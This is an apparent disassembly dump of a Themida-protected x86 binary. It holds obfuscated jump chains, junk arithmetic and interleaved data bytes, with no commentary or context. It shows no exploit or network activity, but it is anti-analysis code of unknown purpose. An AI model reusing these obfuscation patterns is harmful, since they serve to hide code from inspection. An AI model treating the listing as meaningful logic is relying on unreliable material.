XREF: Themida_:00555F38j add edi, 650C44A0h push eax jmp loc_5648F9 ; --------------------------------------------------------------------------- dd 4C7815Fh, 55000000h, 20D06853h, 0E95B4370h, 209Ah ; --------------------------------------------------------------------------- loc_553718: ; CODE XREF: Themida_:0055AF3Fj push 47B5C69h mov ebx, [esp] add esp, 4 and ebx, 7D226D78h push edi mov edi, 70CB3854h xor edi, 33F24DBBh xor edi, 692953DDh or ebx, edi mov edi, [esp] jmp loc_561751 ; --------------------------------------------------------------------------- db 57h, 66h, 0BFh dd 0C166187Dh, 816603EFh, 0E9795DF7h, 1931h ; --------------------------------------------------------------------------- loc_553758: ; CODE XREF: Themida_:00565473j mov [esp], ebx jmp loc_553380 ; --------------------------------------------------------------------------- loc_553760: ; CODE XREF: Themida_:00555958j push edx mov edx, 5B2C2FB6h mov edi, edx pop edx dec edi add edi, 0A5DF13EDh add edx, edi pop edi add edi, edx pop edx sub edx, edi pop edi jmp loc_55FB87 ; --------------------------------------------------------------------------- dw 48Bh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_558B05 ; --------------------------------------------------------------------------- db 80h dd 0F800DDC7h, 83241C8Bh, 63E904C4h, 8000009Dh, 0D9F6FAE1h dd 805EE180h, 0B62C58C1h, 0C8282B04h, 0E4E92B2Ch, 68FFFFCFh dd 2DE1h, 83243C89h, 8F5404ECh, 4832404h, 0E95F0424h, 1A62h ; --------------------------------------------------------------------------- loc_5537D0: ; CODE XREF: Themida_:005548D6j sub dword ptr [esp], 4D833CA2h pop ebp jmp loc_552F52 ; --------------------------------------------------------------------------- loc_5537DD: ; CODE XREF: Themida_:00552416j shl edx, 5 jmp loc_553A91 ; --------------------------------------------------------------------------- db 5Dh, 0BDh, 0C9h dd 29AB92D0h, 6C8158C5h, 647A0824h, 6C0142F7h, 44810824h dd 647A0824h, 8CE942F7h db 0E6h, 2 dup(0FFh) byte_553807 db 66h ; DATA XREF: Themida_:0054FFB4o dd 51240C8Bh, 0C181E189h, 4, 0E904E983h, 0FAC1h, 42474FFh dd 24048F5Bh, 2124248Bh, 0C0095AD0h, 0BE93840Fh, 0BB530000h dd 1Ch, 4EC81h, 86E90000h, 29000031h, 240C8BCFh, 4C481h dd 0AFE90000h, 81000023h, 4EBh, 241C3300h, 33241C31h, 248B241Ch dd 24248924h, 4240483h, 83241C8Bh, 0BE5604C4h, 4, 0CEE9F301h dd 800000C1h, 0FD8880F7h, 0E9241C8Bh, 0FFFFE127h ; --------------------------------------------------------------------------- loc_55388C: ; CODE XREF: Themida_:0055507Ej sub esi, 0FBBDE49Fh and ebx, esi pop esi add ebx, 65BA4A73h mov eax, ebx pop ebx sub edi, eax jmp loc_55A3B3 ; --------------------------------------------------------------------------- db 0C0h, 0E0h, 4 dd 0C8FEC8FEh, 45E9B404h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5538B3: ; CODE XREF: Themida_:0055C05Ej sub edx, 4DF5F3A8h jmp loc_555CF5 ; --------------------------------------------------------------------------- dw 489h aSg db '$ég·',0 align 2 loc_5538C6: ; CODE XREF: Themida_:00551A51j push edi mov edi, 1B845AAFh sub esp, 4 mov [esp], eax mov eax, 26682C41h neg eax inc eax dec eax inc eax shl eax, 7 jmp loc_556E21 ; --------------------------------------------------------------------------- db 81h dd 4EFh, 243C8700h, 0E67EE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5538F6: ; CODE XREF: Themida_:0055F292j push esi mov esi, 644B1FC5h and esi, 3F4666F8h neg esi or esi, 6F505D06h push edx jmp loc_559A7D ; --------------------------------------------------------------------------- loc_553910: ; CODE XREF: Themida_:005653E6j sub edx, edi mov edi, [esp] add esp, 4 mov eax, [esp] add esp, 4 sub edx, 458B33ABh jmp loc_550097 ; --------------------------------------------------------------------------- loc_55392F: ; CODE XREF: Themida_:0055A2B8j shl ebx, 2 jmp loc_5566C9 ; --------------------------------------------------------------------------- db 0F6h dd 0C0E780D7h, 80FBE780h, 43E934C7h, 810000AAh, 2303D4EDh dd 56FBE94Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553952: ; CODE XREF: Themida_:0056249Bj add esp, 4 xchg ecx, esi push ecx not dword ptr [esp] pop ecx xor esi, ecx xor ecx, esi xor esi, ecx xor esi, 44C33BF6h sub esi, 7FE946E3h mov ebp, esi jmp loc_556393 ; --------------------------------------------------------------------------- aYsZ db 'YéÀz',0 align 2 dw 5352h dd 47334DBBh, 0A895E914h, 8E90000h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55398F: ; CODE XREF: Themida_:005606AAj sub edx, 64E419D2h pop esi add edx, 0A6F13FCh add edx, 51E37F0Ah sub edx, 2C8241B2h add edx, ebx add edx, 2C8241B2h sub edx, 51E37F0Ah jmp loc_555F62 ; --------------------------------------------------------------------------- db 5Bh dd 1E13E9h, 4EE8100h, 0E9000000h, 532Ah ; --------------------------------------------------------------------------- loc_5539CC: ; CODE XREF: Themida_:005572CDj add esi, 0E609A666h sub esp, 4 mov [esp], esi pop ebx pop esi sub ecx, ebx pop ebx jmp loc_55D54A ; --------------------------------------------------------------------------- loc_5539E5: ; CODE XREF: Themida_:00551759j push esi mov esi, 20D1418Fh jmp loc_55C26D ; --------------------------------------------------------------------------- loc_5539F0: ; CODE XREF: Themida_:00554B2Ej pop edx jmp loc_56278F ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4C681h, 34870000h, 0C5015C24h, 785BBE56h, 0EE813C97h dd 38FAFCAEh, 8B5EF529h, 0C4832404h, 3CA2E904h, 685A0000h dd 3180h, 19B7E9h db 0 ; --------------------------------------------------------------------------- loc_553A2D: ; CODE XREF: Themida_:00556703j push 1914h mov [esp], ebx push esi jmp loc_5637D0 ; --------------------------------------------------------------------------- loc_553A3B: ; CODE XREF: Themida_:00562921j add edi, 4 push ebx jmp loc_565267 ; --------------------------------------------------------------------------- db 81h dd 7A6972CFh, 96EE924h, 814A0001h, 0C10C1CC2h, 5AD03150h dd 0CE054048h, 483E2154h, 13557405h, 0D6D5E930h, 0D2F60000h dd 0FEC3F280h, 545CE9CAh, 3BE0000h, 68335F6Dh, 2FADh, 0BF243C89h dd 1DA25970h, 0FFD97CE9h db 0FFh ; --------------------------------------------------------------------------- loc_553A91: ; CODE XREF: Themida_:005537E0j shr edx, 3 shl edx, 2 jmp loc_558B2B ; --------------------------------------------------------------------------- dd 42Dh, 24048700h, 0D20EE9h, 24143300h, 10B73E9h, 2C815300h dd 8634DC24h, 0DE39E900h, 0E95FFFFFh, 16D5h, 4244C01h dd 24048F59h, 4BE56h, 74010000h, 0E95E0424h, 0FFFFC5BBh dd 0FA5BE95Fh, 5347FFFFh, 0BD03C1BBh, 1601E9F6h, 34FF0001h dd 0C4835F24h, 56D82904h, 10CE8E9h db 0 ; --------------------------------------------------------------------------- loc_553AFD: ; CODE XREF: Themida_:00555769j sub esp, 4 mov [esp], esi push edi push edx mov edx, 17283FAFh shl edx, 6 add edx, 53617B11h jmp loc_556F12 ; --------------------------------------------------------------------------- dd 2C8A5A66h, 2C48324h, 0D3DAE9h, 0C5815800h, 60181E96h dd 0ED81D501h, 60181E96h, 6532BA52h, 0E2811A58h, 4DA94FE5h dd 0F2C2814Ah, 10DE8F7h, 5EE95AD5h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553B4F: ; CODE XREF: Themida_:00559B49j shr esi, 7 push eax mov eax, 286853A9h add esi, eax pop eax not esi sub esi, 7A969F41h jmp loc_556EB9 ; --------------------------------------------------------------------------- dd 50B8E180h, 0FFE9C5E9h, 0C9E952FFh, 81FFFFEAh, 4ECh dd 0F77CE900h, 0E0C1FFFFh, 0D92E906h, 0C1010001h, 1559E953h dd 74FF0000h, 5BE90424h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553B9B: ; CODE XREF: Themida_:0056211Cj shl ecx, 6 jmp loc_55450B ; --------------------------------------------------------------------------- db 31h dd 241C8BDDh, 104C483h, 242C8BEAh, 3304C483h, 14312414h dd 24143324h, 8524248Bh, 3DE99CC8h, 3100006Ah, 66E9F1h dd 0D6050000h, 14C9F36h, 36D62DD8h, 94E94C9Fh, 83FFFFCDh dd 2C3304C4h, 242C3124h, 0E9242C33h, 0BB09h ; --------------------------------------------------------------------------- loc_553BF0: ; CODE XREF: Themida_:00553448j mov bl, 2Ch jmp loc_5641AD ; --------------------------------------------------------------------------- loc_553BF7: ; CODE XREF: Themida_:00564000j push edx mov edx, 230B1BF6h sub edx, 0CDA1A963h xor esi, edx pop edx add ecx, esi pop esi and ebx, ecx jmp loc_55A8CF ; --------------------------------------------------------------------------- loc_553C10: ; CODE XREF: Themida_:00550932j add esp, 4 add eax, edi push dword ptr [eax] push esi mov esi, 35D169DDh add [esp+4], esi pop esi pop ecx jmp loc_55D846 ; --------------------------------------------------------------------------- dd 5C243C87h, 0E9241C87h, 56C4h, 81F1815Eh, 19B20BCh, 0F6E959CFh dd 89000021h, 4C681E6h, 83000000h, 76E904EEh, 81FFFFEFh dd 4C4h, 55D68700h, 0F859E954h, 0F3810000h, 6FFB53BAh dd 0D3F74B43h, 5668h, 242C8900h, 0FFFD05E9h, 0F6E581FFh dd 81741910h, 666BE2F5h, 1015E916h, 0E95B0001h, 0E9FBh dd 8B24048Fh, 4202424h, 0F8E99C24h, 0BAFFFFC3h, 4, 0D4E9D301h dd 810000FFh, 401ECDC9h, 291E962h, 34FF0000h, 0ADC2E924h dd 0E1890000h, 1053AE9h, 0EE815E00h, 1A745668h, 88A9E9h dd 0D7EBA00h, 540136F8h, 15A0824h, 0E904244Ch, 4093h, 770E981h dd 0C1812A8Dh, 30FC46DBh, 83242C8Bh, 0FF5104C4h, 0E9042474h dd 0B3ADh, 636ABA52h, 0D02952B8h, 0FF505F5Ah, 58042474h dd 5C24048Fh, 541D68h, 6E56E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553D1E: ; CODE XREF: Themida_:00562022j mov ebx, eax jmp loc_557752 ; --------------------------------------------------------------------------- aIYaTq db 'ˆêY€ÂTQ±!',0 aY db 'ËY',0 dw 80D3h dd 805A21EBh, 0B60F66EBh, 52C0E9C0h, 0C5810000h, 79B816B6h dd 0C5FFE9h db 0 ; --------------------------------------------------------------------------- loc_553D4D: ; CODE XREF: Themida_:00555F97j sub ecx, 13B4007Ch jmp loc_55A455 ; --------------------------------------------------------------------------- aTlSay db 'T‹,$éíY',0 db 0 byte_553D61 db 0ADh, 5, 77h ; DATA XREF: Themida_:0054FDE0o dd 5143ED43h, 0C181E189h, 4, 0E904E983h, 85F0h, 4BE56h dd 0F5010000h, 242C875Eh, 4055Ch, 0A4680000h, 8900002Dh dd 4B9240Ch, 0E9000000h, 10B1Dh ; --------------------------------------------------------------------------- loc_553D9C: ; CODE XREF: Themida_:00562456j and ah, 59h push ecx push edx mov dh, 52h mov cl, dh pop edx jmp loc_55026E ; --------------------------------------------------------------------------- aISn_ db 'ˆÁé.',0 align 2 dw 48Fh dd 24248B24h, 240C8966h, 10BDDE9h db 0 ; --------------------------------------------------------------------------- loc_553DC1: ; CODE XREF: Themida_:00562DCBj mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax mov eax, 41CD709Bh jmp loc_55CE99 ; --------------------------------------------------------------------------- dd 0EA8DE950h, 895CFFFFh, 41E92414h, 5B0000C5h, 0F899E9h dd 24348900h, 0FFF56CE9h db 0FFh ; --------------------------------------------------------------------------- loc_553DFD: ; CODE XREF: Themida_:00554E3Dj pop esp push ebp mov ebp, esp add ebp, 4 add ebp, 4 sub esp, 4 mov [esp], ebp jmp loc_564DDF ; --------------------------------------------------------------------------- loc_553E18: ; CODE XREF: Themida_:005573CEj sub ebp, 4 xchg ebp, [esp] jmp loc_555C0A ; --------------------------------------------------------------------------- loc_553E26: ; CODE XREF: Themida_:005654F3j mov esp, [esp] jmp loc_55CEB9 ; --------------------------------------------------------------------------- dw 5259h dd 4B951h, 0CA890000h, 6E53E9h, 0E9585900h, 941Dh ; --------------------------------------------------------------------------- loc_553E44: ; CODE XREF: Themida_:00557195j pop esi not ecx add ecx, 1 or ecx, 0E7D344Fh shl ecx, 2 sub ecx, 7FD9560Ch jmp loc_55FC45 ; --------------------------------------------------------------------------- db 5, 0E5h, 51h dd 0E95B0DB6h, 0FE9Ch, 0E9243489h, 0B423h ; --------------------------------------------------------------------------- loc_553E74: ; CODE XREF: Themida_:00563DC3j add eax, ecx sub eax, 1B05628Ch sub eax, 72127037h jmp loc_551595 ; --------------------------------------------------------------------------- loc_553E85: ; CODE XREF: Themida_:0055D945j push edx push esi mov esi, 10FE584Eh mov edx, esi pop esi jmp loc_5517A7 ; --------------------------------------------------------------------------- loc_553E94: ; CODE XREF: Themida_:0055FD3Ej sub edx, 0F5102CBh pop ebx xor edx, eax mov eax, [esp] add esp, 4 jmp loc_564DAA ; --------------------------------------------------------------------------- loc_553EAB: ; CODE XREF: Themida_:00563E09j push ecx push 66D5195Ch pop ecx jmp loc_55F67F ; --------------------------------------------------------------------------- loc_553EB7: ; CODE XREF: Themida_:005561FBj push ebx mov ebx, 6D140EA0h not ebx or ebx, 2E0D3F46h push edi push ebp mov ebp, 1D6A6819h add ebp, 4DFF6360h jmp loc_561D7D ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 33F68104h, 835DFC2Dh, 5051FFEEh, 0FFE812E9h db 0FFh ; --------------------------------------------------------------------------- loc_553EED: ; CODE XREF: Themida_:00560D94j add edx, 6ED053D4h sub edx, 0D9C0A1ACh sub ecx, edx mov edx, [esp] add esp, 4 shl ecx, 7 sub ecx, 1445DE00h and eax, ecx pop ecx shr eax, 18h xor eax, ecx push 878h mov [esp], eax jmp loc_55DCAC ; --------------------------------------------------------------------------- dw 2C81h dd 210C9A24h, 39B3E91Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_553F2E: ; CODE XREF: Themida_:00555478j sub ebx, 0B7653E52h sub edx, 754D502Ah jmp loc_555F52 ; --------------------------------------------------------------------------- aIsSd db '‰é]鄜',0 dw 6800h dd 0 dd 59240C29h, 81D1F749h, 0CE2E16E1h, 0E36CE973h, 0F7010000h dd 4C7835Eh, 8B243C87h, 0D0892424h, 0E924148Bh, 8935h ; --------------------------------------------------------------------------- loc_553F74: ; CODE XREF: Themida_:00553388j pop ebx jmp loc_55CED6 ; --------------------------------------------------------------------------- dw 272Dh dd 8B516C1Eh, 0C483242Ch, 76586804h, 34890000h, 69C46824h dd 1C890000h, 2BB24h, 12E90000h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553F9F: ; CODE XREF: Themida_:00556C5Aj xchg ebp, [esp] jmp loc_55EE37 ; --------------------------------------------------------------------------- db 0C1h dd 0CDE902EBh, 810000E8h, 210C9AC3h, 0E0E9E91Dh, 4DBBFFFFh dd 1758B30h, 5B04245Ch, 0CBE95059h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553FCB: ; CODE XREF: Themida_:005611D8j sub [esp], ecx mov ecx, [esp] jmp loc_55F279 ; --------------------------------------------------------------------------- word_553FD6 dw 0AD68h ; DATA XREF: Themida_:0054FDFCo dd 89000030h, 0EC83240Ch, 24148904h, 26D1E9h, 0E9534F00h dd 918Dh, 370DEE81h, 0F10130D8h, 5C27685Eh, 14890000h dd 5A6FBA24h, 0EA811716h, 5F5818D9h, 0EA834A42h, 28B850FFh dd 52139035h, 726EDCBAh, 5AD031A8h, 8358C231h, 148904ECh dd 0E95A5424h, 76BFh, 8BFAB85Dh, 0D8295BCFh, 556B0D5Bh dd 740D7D7Bh, 0D4C6261h, 7B2A4A01h, 22368h, 24148900h dd 0AE8ADABAh, 5AD001DDh, 5658C631h, 0C3BF57h, 0E9E93D37h dd 80000075h, 0D80057F3h, 0E9241C8Bh, 0D84Fh, 4BEh, 0A7DE900h dd 0F5680000h, 89000035h, 0E953243Ch, 0FFFFD15Fh, 4281E281h dd 0EA816892h, 2000007Fh, 48C9E9h, 9ABD5E00h, 315FA438h dd 0E9575FFDh, 26A7h, 58C2015Ch, 8904EC83h, 0AEE92414h dd 0BD0000A2h, 4, 0E2E9EB01h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5540C7: ; CODE XREF: Themida_:00550185j mov esi, [esp] add esp, 4 add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_561521 ; --------------------------------------------------------------------------- loc_5540E1: ; CODE XREF: Themida_:005548AAj push ecx mov ecx, 42D46ACEh not ecx push ecx not dword ptr [esp] pop ecx xor ecx, 9914A5FBh jmp loc_55045F ; --------------------------------------------------------------------------- loc_5540F9: ; CODE XREF: Themida_:005533C2j pop ebp sub ebp, 3F417245h not ebp xor ebp, 749D51B2h add ebp, 966B7928h mov ebx, ebp pop ebp jmp loc_55FD31 ; --------------------------------------------------------------------------- loc_554116: ; CODE XREF: Themida_:00564337j or eax, 5E6451AFh dec eax and eax, 2E14530Bh jmp loc_55CE87 ; --------------------------------------------------------------------------- dw 8958h dd 0CF07E9F7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55412E: ; CODE XREF: Themida_:00557E35j add [esp+4], edi pop edi mov ecx, [esp] add esp, 4 push eax mov eax, 36A60C20h add eax, 1 jmp loc_55F068 ; --------------------------------------------------------------------------- loc_554147: ; CODE XREF: Themida_:0055A5BBj xor esi, ebp pop ebp add edi, esi pop esi add edi, 4 xchg edi, [esp] pop esp jmp loc_55C618 ; --------------------------------------------------------------------------- dd 5066FD00h, 7DD8E952h, 8B540000h, 0C4832414h, 50515304h dd 5541E9h, 1AEABF00h, 0C7833C6Dh, 0B0E9E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554182: ; CODE XREF: Themida_:00561956j not ebp neg ebp inc ebp jmp loc_55CD11 ; --------------------------------------------------------------------------- dd 0FA83E95Eh db 2 dup(0) word_554192 dw 34FFh ; DATA XREF: Themida_:0054FDF8o dd 1D685924h, 8900004Fh, 0E6892434h, 0E904EC83h, 844Dh dd 3EBDF781h, 0D1E90067h, 5B000022h, 0FFED11E9h, 240431FFh dd 8B240433h, 88E92424h, 55000049h, 0B8F8BEBDh, 5DEE29B2h dd 45F5E950h, 34FF0000h, 6F25E924h, 1C890000h, 2474FF24h dd 2434FF04h, 65E9535Bh, 510000C7h, 10037E9h, 0C9E95800h dd 830000C8h, 2C8904ECh, 2474FF24h, 48F5D04h, 0CA3BE924h dd 0C381FFFFh, 4, 8704C383h, 0ACE9241Ch, 5A0000E6h, 5C243487h dd 4EC81h, 0B7E90000h, 5500006Ah, 651E8568h, 661CE96Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55423A: ; CODE XREF: Themida_:00558FADj mov [esp], ecx mov cl, 0E9h push edx mov dh, 35h sub esp, 4 mov [esp], ebx mov bh, 2 or dh, bh pop ebx add dh, 36h dec dh not dh xor dh, 0A0h xor cl, dh jmp loc_5617B3 ; --------------------------------------------------------------------------- db 68h, 29h, 13h dd 1C890000h, 3EFAE924h, 89510000h, 293FE9E1h, 0E0890000h dd 0FFC448E9h, 0E9D029FFh, 10FB4h, 83240489h, 3C8904ECh dd 1EE0BF24h, 0EFC146E0h, 2CF78107h, 81777106h, 7F068BF7h dd 0C17FE96Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5542A6: ; CODE XREF: Themida_:0055872Aj sub eax, esi pop esi push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp mov [esp], ecx jmp loc_55314F ; --------------------------------------------------------------------------- loc_5542BB: ; CODE XREF: Themida_:00563457j add ebp, 4 push ecx mov ecx, 8B30A60h shl ecx, 6 shl ecx, 6 sub ecx, 3D7109FBh not ecx sub ecx, 0CCB09F6h sub ebp, ecx pop ecx xor ebp, [esp] jmp loc_5645EA ; --------------------------------------------------------------------------- loc_5542E6: ; CODE XREF: Themida_:0055C43Fj mov [esp], esp jmp loc_556622 ; --------------------------------------------------------------------------- dw 0BD55h dd 34731E24h, 0ED81D5F7h, 29F56677h, 7B60ED81h, 14E9A197h dd 0C100008Bh, 0BA5205E7h, 3B354DBh, 815AD729h, 93ADA6C7h dd 9AC381BAh, 8118AD4Ch, 0E30622C3h, 809E90Fh, 0E95A0000h dd 0D104h, 5559CD01h, 42474FFh, 0DD44E9h, 4B800h, 0EF810000h dd 5FD41D52h, 0C781C701h, 5FD41D52h, 243C8758h, 24FBE9h dd 4C18100h, 83000000h, 0C3304C1h, 240C3124h, 0E9240C33h dd 8097h ; --------------------------------------------------------------------------- loc_554370: ; CODE XREF: Themida_:0055DBBEj pop edi jmp loc_55242B ; --------------------------------------------------------------------------- dw 0ECB9h dd 1099825h, 76E959CEh, 290000F2h, 0F2895DEEh, 5624348Bh dd 0F248E9h, 40500h, 8AE90000h, 5300001Dh, 4BBh, 5BDA2900h dd 5C241487h, 89243C89h, 4C781E7h, 83000000h, 0CFE904EFh dd 2Eh, 53B551E7h, 0F751E9h, 4A056800h, 3C8B33BFh, 0E1895124h dd 0E61CE9h, 0F8015F00h, 0E4765405h, 243C8B27h, 4C481h dd 0BE90000h, 5A000079h, 4C281h, 0A4E90000h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_5543F7: ; CODE XREF: Themida_:00552A01j not ebp neg ebp jmp loc_559525 ; --------------------------------------------------------------------------- dd 61E9DFB1h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554407: ; CODE XREF: Themida_:0055935Fj mov [esp], ebx mov ebx, 23239B41h mov ebp, ebx mov ebx, [esp] push ecx mov ecx, esp jmp loc_555CBB ; --------------------------------------------------------------------------- aWt_rQBs_i db '[WT_RºQ\ÜBé.©',0 dw 8F00h dd 0B3E92404h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554433: ; CODE XREF: Themida_:00555004j sub ebx, edi mov edi, [esp] add esp, 4 xor ecx, ebx pop ebx mov ebp, ecx pop ecx sub eax, ebp push dword ptr [esp] pop ebp add esp, 4 push dword ptr [esp] jmp loc_56250E ; --------------------------------------------------------------------------- db 1, 0CDh, 59h dd 4C581h, 0CAE90000h, 0BF0000D6h, 0D497184h, 0F701C783h dd 7E78E9D7h, 412D0000h, 5F5C6171h, 4005E801h, 0E965D001h dd 8FF4h, 0E902E5C1h, 261Dh, 0E9242489h, 79C2h, 7783E981h dd 5B515549h, 0D2D8E959h, 31FF0000h, 240C8B58h, 4C481h dd 0EA810000h, 7DEE098Bh, 0DB05E9h, 243C8B00h, 0F7A0E951h dd 0EE810000h, 194870F7h, 5BE9CE01h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5544CF: ; CODE XREF: Themida_:0055CD6Aj push ecx mov ecx, 3846125Dh mov edx, ecx pop ecx mov eax, 60F52031h add eax, 5D470A9Fh sub eax, edx sub eax, 5D470A9Fh pop edx push ebx mov ebx, 72D87BDBh jmp loc_550A0C ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4EA8100h, 87000000h, 0D5E92414h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55450B: ; CODE XREF: Themida_:00553B9Ej shr ecx, 7 jmp loc_55B21F ; --------------------------------------------------------------------------- loc_554513: ; CODE XREF: Themida_:00555DDBj mov [esp], ecx mov ch, dl mov bh, ch jmp loc_55E5B3 ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 0C511E9h db 0 ; --------------------------------------------------------------------------- loc_554529: ; CODE XREF: Themida_:0055B91Ej pop edi add edx, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_55A362 ; --------------------------------------------------------------------------- dw 8966h dd 66B1240Ch, 4EC8151h, 0E9000000h, 0FFFFDB91h, 6FC28159h dd 0E948CB4Fh, 4B38h, 68242C89h, 3FA0h, 0BE243489h, 42F46AD6h dd 20C1EE81h, 81562465h, 235A242Ch, 0E95D66BBh, 1136h dd 4C481h, 0FEE90000h, 81000041h, 4E030EEAh, 7FEA8116h dd 811BE77Fh, 5873B1C2h, 5AD6010Fh, 83240C8Bh, 0EE904C4h dd 81000013h, 2EFh, 243C3300h, 33243C31h, 77E9243Ch, 0C1FFFFDDh dd 79E907EBh db 0Ah, 1, 0 byte_5545CF db 66h ; DATA XREF: Themida_:0054FDD4o dd 0C02D66ADh, 3605663Eh, 0BD66550Fh, 0C166305Ah, 0C16603E5h dd 0D16605E5h, 4D8BE9E5h, 0C2810000h, 4, 8704EA83h, 895C2414h dd 8B54241Ch, 0C481241Ch, 4, 5E90E9h, 0FE895600h, 8B5EF389h dd 0C483243Ch, 5BD83104h, 2958C689h, 0C3815EF3h, 76B46EF5h dd 0EB81C301h, 76B46EF5h, 6D38BF57h, 0E3E93A87h, 5C00006Eh dd 0E9240C89h, 0FFFFBA53h, 0EEEEBF57h, 0BEE98CCEh, 81FFFFFFh dd 8F45CFC3h, 80B0E96Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55465A: ; CODE XREF: Themida_:0055DFFEj pop ebx push eax mov eax, 4AAC1B3Bh sub edx, eax jmp loc_559A29 ; --------------------------------------------------------------------------- loc_554668: ; CODE XREF: Themida_:00564FA5j push 76744F00h mov ebp, [esp] add esp, 4 jmp loc_565227 ; --------------------------------------------------------------------------- db 5Dh dd 5C24048Fh, 28EAEB80h, 4AB450C3h, 0B116E9h db 0 byte_55468D db 0FFh, 34h, 24h ; DATA XREF: Themida_:00550004o dd 592434FFh, 0E852E955h, 0B850FFFFh, 7D6E536Dh, 0FFDA34E9h dd 664804FFh, 83240C8Bh, 29E902C4h, 89000012h, 0AB68242Ch dd 8900004Ch, 71B82404h, 0C11D5800h, 54802E8h, 156D4289h dd 7463060Dh, 9B22D65h, 0D668267Dh, 89000020h, 62BE2434h dd 0E97ADD38h, 6904h, 4EC81h, 14890000h, 2E20E924h, 3C330000h dd 243C3124h, 5C243C33h, 9C240CD2h, 0FFB98EE9h db 0FFh ; --------------------------------------------------------------------------- loc_554709: ; CODE XREF: Themida_:00563003j sub ecx, ebx add ecx, 7AB05405h jmp loc_560A6A ; --------------------------------------------------------------------------- dw 0EE81h dd 287DF0h, 5DB0C681h, 0DE013A68h, 5DB0EE81h, 0C6813A68h dd 287DF0h, 3CA5C681h, 525B1E01h, 4BAh, 5AD60100h, 5C243487h dd 840FC009h, 0D60Ch, 4EC8150h, 89000000h, 0B850240Ch dd 6AC929D6h, 53C4E9h, 0B647BD00h, 0EF892D5Fh, 5FFB015Dh dd 34FFDF01h, 0FCA6E924h, 25BEFFFFh, 12BFB0Eh, 3E13E9F0h dd 0EC810000h, 4, 0E9243C89h, 48B7h, 68243489h, 4AE77E4Ch dd 0EEC14E5Eh, 0E6F68106h, 504CE215h, 0C9881BB8h, 8BC6314Dh dd 0C4832404h, 8BF30104h, 0C4812434h, 4, 0F8F9E955h, 74FFFFFFh dd 0E95B0424h, 128Ch, 4EA81h, 14870000h, 0C895C24h, 71BF5724h dd 0B90C2F6Bh, 3C360410h, 0E95FF901h, 3F64h, 50240C89h dd 0FFB10BB0h, 5058C100h, 0D9E992B4h, 5C00001Ah, 1516E9h db 0 ; --------------------------------------------------------------------------- loc_554805: ; CODE XREF: Themida_:00550691j add esi, 749830C4h sub eax, esi pop esi sub ecx, eax mov eax, [esp] add esp, 4 push 665Fh mov [esp], edx sub esp, 4 mov [esp], ecx jmp loc_561293 ; --------------------------------------------------------------------------- dd offset dword_424764+4 align 2 dw 0C89h dd 4EC8124h, 0E9000000h, 0FFFFDF1Eh, 2404895Ch, 5153E089h dd 777DC6B9h, 7C98122h, 0E971773Ah, 0F97Fh, 2434FF54h dd 83241C8Bh, 545604C4h, 33B4E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554866: ; CODE XREF: Themida_:0056180Cj push 2B8Dh jmp loc_55EC46 ; --------------------------------------------------------------------------- aZ4Sk db ']‡4$\éK\',0 align 2 loc_55487A: ; CODE XREF: Themida_:0055A671j mov [esp], edx push 48E6398h pop edx jmp loc_55C583 ; --------------------------------------------------------------------------- dd 243C8B51h, 5904C483h, 4EC8347h, 0E9240C89h, 0FFFFDD7Eh ; --------------------------------------------------------------------------- loc_55489C: ; CODE XREF: Themida_:0055DCEDj mov edx, 1F3852F0h sub edx, ecx pop ecx shl edx, 6 shr edx, 6 jmp loc_5540E1 ; --------------------------------------------------------------------------- loc_5548AF: ; CODE XREF: Themida_:0055B5D1j mov ebp, 0 jmp loc_55DBC3 ; --------------------------------------------------------------------------- byte_5548B9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FF78o dd 9A67E9h db 0 ; --------------------------------------------------------------------------- loc_5548C1: ; CODE XREF: Themida_:0055CD70j shr ebp, 5 shr ebp, 5 push 0 add dword ptr [esp], 4D833CA2h sub [esp], ebp jmp loc_5537D0 ; --------------------------------------------------------------------------- loc_5548DB: ; CODE XREF: Themida_:00552981j add esp, 4 pop edi mov eax, 0BB8BC7E2h add eax, 67986B21h sub eax, 7D0837E6h add eax, ebp jmp loc_564E13 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5525B7 ; --------------------------------------------------------------------------- loc_554903: ; CODE XREF: Themida_:005525DBj mov ecx, [esp] jmp loc_561C00 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 935BE900h, 0E2C10000h, 39F28104h, 5234DC7Fh, 4EC81h dd 0C890000h, 49595A24h, 0D2F7CA87h, 3581E9h db 0 ; --------------------------------------------------------------------------- loc_554935: ; CODE XREF: Themida_:00555303j pop esi add ebx, 4 xchg ebx, [esp] pop esp xor ebx, eax pop dword ptr [eax] jmp loc_550097 ; --------------------------------------------------------------------------- 